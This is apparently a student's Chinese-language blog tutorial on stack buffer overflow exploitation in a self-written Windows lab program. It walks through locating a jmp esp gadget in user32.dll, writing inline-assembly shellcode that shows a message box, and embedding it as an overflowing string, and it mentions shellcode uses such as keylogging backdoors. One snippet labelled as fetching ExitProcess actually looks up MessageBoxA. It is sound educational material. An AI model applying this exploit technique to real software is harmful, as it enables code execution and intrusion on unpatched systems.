前言
Hello,各位广大的网友们好。笔者为大二在校大学生,软件学院。为践行费曼学习法,并在前辈的建议下开始写自己的一系列博客,之前用一篇文章大概的诠释了缓冲区溢出的基本原理,本文将以此为基础进行缓冲区溢出利用的研究。
基于缓冲区溢出原理:传送门:缓冲区溢出的基本原理(一).
实验前提
- 实验环境 :windows 10,Windows XP;
- 使用工具 :IDA pro , OllyDBG,vc6.0;
- 目标软件 :test3.exe,get_jmp.exe(由自己编写)
所需基础
基础汇编指令
缓冲区溢出的原理
Win32 Api调用
dll动态链接库
数据结构(仅堆栈)
即使上面基础缺失,本文任有大量的注释及解释帮助理解。
缓冲区溢出原理简单介绍
传送门:缓冲区溢出的基本原理(一).
一句话概括: 由于程序的运行机制,假设利用strcpy()函数进行字符串赋值,因
定义字符串长度及传入字符串长度不一致(过长),从而占用了ebp(栈底)和call(函数)返回地址的栈区。基于此可利用修改函数调用结束后的返回地址,从而使计算机毫不犹豫的执行由我们编写的代码(shellcode)
概要
实验依据:利用缓冲区溢出基本原理,64位的应用程序会加载System32目录下的kernel32.dll,user32.dll,和ntdll.dll。函数执行完esp(栈顶)指针+4的通用性。
实验思路: 通过利用字符串传值方式修改函数(call)返回地址,返回地址采用user32.dll系统领空中(jmp esp)从而执行由我们编写的shellcode代码段
实验核心:
- 函数执行到返回地址时:esp+4具有大部分通用性
- 64位的应用程序会加载System32目录下的user32.dll
- 利用use32.dll段中的jmp esp指令跳转至shellcode
ShellCode介绍
Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限。另外,Shellcode一般是作为数据发送给受攻击服务器的。 Shellcode是溢出程序和蠕虫病毒的核心,提到它自然就会和漏洞联想在一起,毕竟Shellcode只对没有打补丁的主机有用武之地。
实验开始
test3.exe
#include<stdio.h> //引入头文件
#include<string.h>
#include<windows.h>
char name[] = "zhemuzhemumuXXXX"; //定义全局变量
int main() //返回值 主函数main()
{
LoadLibrary("user32.dll");
char buffer[8]; //开辟8个字节的空间用来存储变量name
strcpy(buffer,name); //内置函数(作用):将变量name内容赋值给buffer变量
printf("%s\n",buffer); //输出在控制台
getchar(); //方便观察 作用:等待用户输入按键
return 0; //返回值
}
text3.c中 ,变量name赋值给buffer后并引起缓冲区溢出,其中mumu占用ebp栈底数据,而XXXX为返回的地址。
get_jmp.exe中C代码如下:
#include<windows.h>
#include<stdio.h>
#include<stdlib.h>
int main()
{
BYTE* ptr;
int position;
HINSTANCE handle;
BOOL done_flag = FALSE;
handle = LoadLibrary("user32.dll");
if (!handle)
{
printf("Load Dll is fault");
exit(0);
}
ptr = (BYTE*)handle;
for (position = 0; !done_flag; position++)
{
try {
if (ptr[position] == 0xFF && ptr[position + 1] == 0xE4)
{
int address = (int)ptr + position;
printf("OPCODE be founded at 0x%x\n", address);
}
}
catch (...)
{
int address = (int)ptr + position;
printf("END OF 0x%x\n", address);
done_flag = true;
}
}
getchar();
return 0;
}
获取ntdll.dll中 [jmp esp] 代码指令的地址。注明:其中0xFF与0xE4为Jmp esp对应的机器码
get_jmp.exe的运行结果
红框所选的地址均为jmp esp指令所在的地址,打开OD进行验证。
OD载入test3.exe程序,进行验证
由上图:0x74cab5e9地址为jmp esp指令(get_jmp.exe寻找到的任意一处地址都可以用),可用作为函数调用后返回地址,返回该地址后,计算机会毫不犹豫的执行jmp esp指令,然而esp地址具有通用性(大多数情况下不变),利用此特性植入我们的ShellCode
寻找需要植入API函数调用的地址
1.MessageBoxA() //方便我们直观查看是否注入成功
2.ExitProcess() //防止崩溃 关闭进程
3.编写下面代码获取dll中两处API(第一和第二点)所在的地址
获取MessageBoxA() 的地址代码
#include<windows.h>
#include<stdio.h>
typedef void (*MYPROC)(LPTSTR);
int main()
{
HINSTANCE LibHandle;
MYPROC ProcAdd;
LibHandle = LoadLibrary("user32.dll");
//获取到user32.dll所在地址
printf("user32.dll = 0x%x\n", LibHandle);
//获取MessageBox函数所在地址
ProcAdd = (MYPROC)GetProcAddress(LibHandle, "MessageBoxA");
printf("MessageBoxA = 0x%x\n", ProcAdd);
getchar();
return 0;
}
获取ExitProcess() 的地址代码
#include<windows.h>
#include<stdio.h>
typedef void (*MYPROC)(LPTSTR);
int main()
{
HINSTANCE LibHandle;
MYPROC ProcAdd;
LibHandle = LoadLibrary("kernel32.dll");
//获取到user32.dll所在地址
printf("user32.dll = 0x%x\n", LibHandle);
//获取MessageBox函数所在地址
ProcAdd = (MYPROC)GetProcAddress(LibHandle, "MessageBoxA");
printf("MessageBoxA = 0x%x\n", ProcAdd);
getchar();
return 0;
}
实验效果如下图并分别记录
开始ShellCode汇编代码编写
记录所需要用到的地址以及Message所需要用到的字符串参数
使用VC6.0,编写内联代码
int main(){
__asm{
sub esp,0x50 //提升堆栈
xor ebx,ebx //异或ebx为0,可用于分割字符
push ebx
//push 0x5761726E //字符串Warn 由于小端序存储需要倒过来
push 0x6E726157 //字符串:“warn”
mov eax,esp
push 0x146E6F69 //字符串zhemu_injestion 由于小端序存储需要倒过来
push 0x7473656A
push 0x6E695F75
push 0x6D65687A
mov ecx,esp
push ebx
push eax
push ecx
push ebx
mov eax,0x74baf8b0 //间接调用
call eax
push ebx
mov eax,0x77803be0
call eax
}
return 0;
}
通过VC6.0自带工具转换为机器码。
从test3.c中植入代码
植入ShellCode后的test3.c:
#include<stdio.h> //引入头文件
#include<string.h>
#include<windows.h>
char name[] = "\x41\x41\x41\x41\x41\x41\x41\x41" //占领八个位置
"\x41\x41\x41\x41" //占领ebp位置
"\x79\x5b\xe3\x77" //jmp esp地址 返回地址
"\x83\xEC\x50"
"\x33\xDB"
"\x53"
"\x68\x57\x61\x72\x6E"
"\x8B\xC4"
"\x68\x69\x6F\x6E\x14"
"\x68\x6A\x65\x73\x74"
"\x68\x75\x5F\x69\x6E"
"\x68\x7A\x68\x65\x6D"
"\x8B\xCC"
"\x53"
"\x50"
"\x51"
"\x53"
"\xB8\xEA\x07\xD5\x77"
"\xFF\xD0"
"\x53"
"\xB8\x0A\xD2\x81\x7C"
"\xFF\xD0"
;
int main() //返回值 主函数main()
{
char buffer[8]; //开辟8个字节的空间用来存储变量name
LoadLibrary("user32.dll");
strcpy(buffer,name); //内置函数(作用):将变量name内容赋值给buffer变量
printf("%s\n",buffer); //输出在控制台
getchar(); //方便观察 作用:等待用户输入按键
return 0; //返回值
}
大功告成,这时候将jmp esp的地址作为返回地址,并在esp地址中编写自己想要的ShellCode代码段
OK,到此为止我们了解了一个ShellCode的基本过程,直接运行text3.exe分析,校验ShellCode是否执行成功?
对text3.exe进行逆向分析。
步骤不多累赘与text1.exe(之前的文章)完全一摸一样,唯一不一样在于栈区返回地址被溢出(占用)
由上图可知:
1.原本改返回值:0019FF44地址被占用 且指向我们想要的地址(jmp esp)
F8步过
由上图可知:
1.原本改返回值:0019FF44地址被占用 且指向我们想要的地址(jmp esp)
2.注意红框的内容,esp值为0019FF48,具有通用性
查看0019FF48地址的内容
内容为我们自己编写的ShellCode代码段 ,我们继续F8步过
结果并没有直接执行我们编写好的ShellCode代码段,而是出现了一个错误。且错误堆栈反馈如下
经过大量的谷歌以及百度,借鉴论坛的博主回答如下:
出处由右下角,屏蔽不必要的广告。
- Windows下可能取消ExitProcess()该函数导致错误
- 此处留个坑,把《Windows核心编程》原理啃完之后修改此文章
使用虚拟机XP环境进行研究,当然地址有变化如上述描述步骤一样。并成功运行。
至此,大家应该已经了解了缓冲区溢出漏洞的原理,它就是因为我们输入了过长的字符,而缓冲区本身又没有有效的验证机制,导致过长的字符将返回地址覆盖掉了,利用jmp esp跳转至我们自己编写的代码。
那么依据这个原理,我们的系统就会毫不犹豫地跳到该地址处去执行指令。因此,如利用缓冲区溢出的漏洞,我们就可以构造出任何我们想要做的事,这样一来,我们就通过程序的漏洞,让计算机执行了我们自己编写的程序。
本文其中例子与实例任有不足之处,笔者才学疏浅,若有错误之处欢迎指出。任有几个坑留到日后能力提升后填,以下进行总结!
知识点:
- ShellCode缓冲区溢出利用
- Win32 Api调用
- 小端序,汇编参数从右向左
- Jmp esp通用性
- Dll相关知识
关键词:缓冲区溢出,Win32 Api,dll调用
留下思考:
Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限。另外,Shellcode一般是作为数据发送给受攻击服务器的。 Shellcode是溢出程序和蠕虫病毒的核心,提到它自然就会和漏洞联想在一起,毕竟Shellcode只对没有打补丁的主机有用武之地。
除此之外:shellCode还可以做任何事情如:
- 恶意破解软件后加入自己收费验证。
- 调用获取键盘或鼠标输入函数记录等等留后门(PUBG黑号盗号)
- 等等...
本篇为在已知源码中进行ShellCode注入,然而大部分软件并不是开源,需要逆向工程师进行大量的分析以及经验从而进行无源码ShellCode注入,下篇会说明如何编写通用ShellCode以及无源码的情况下注入!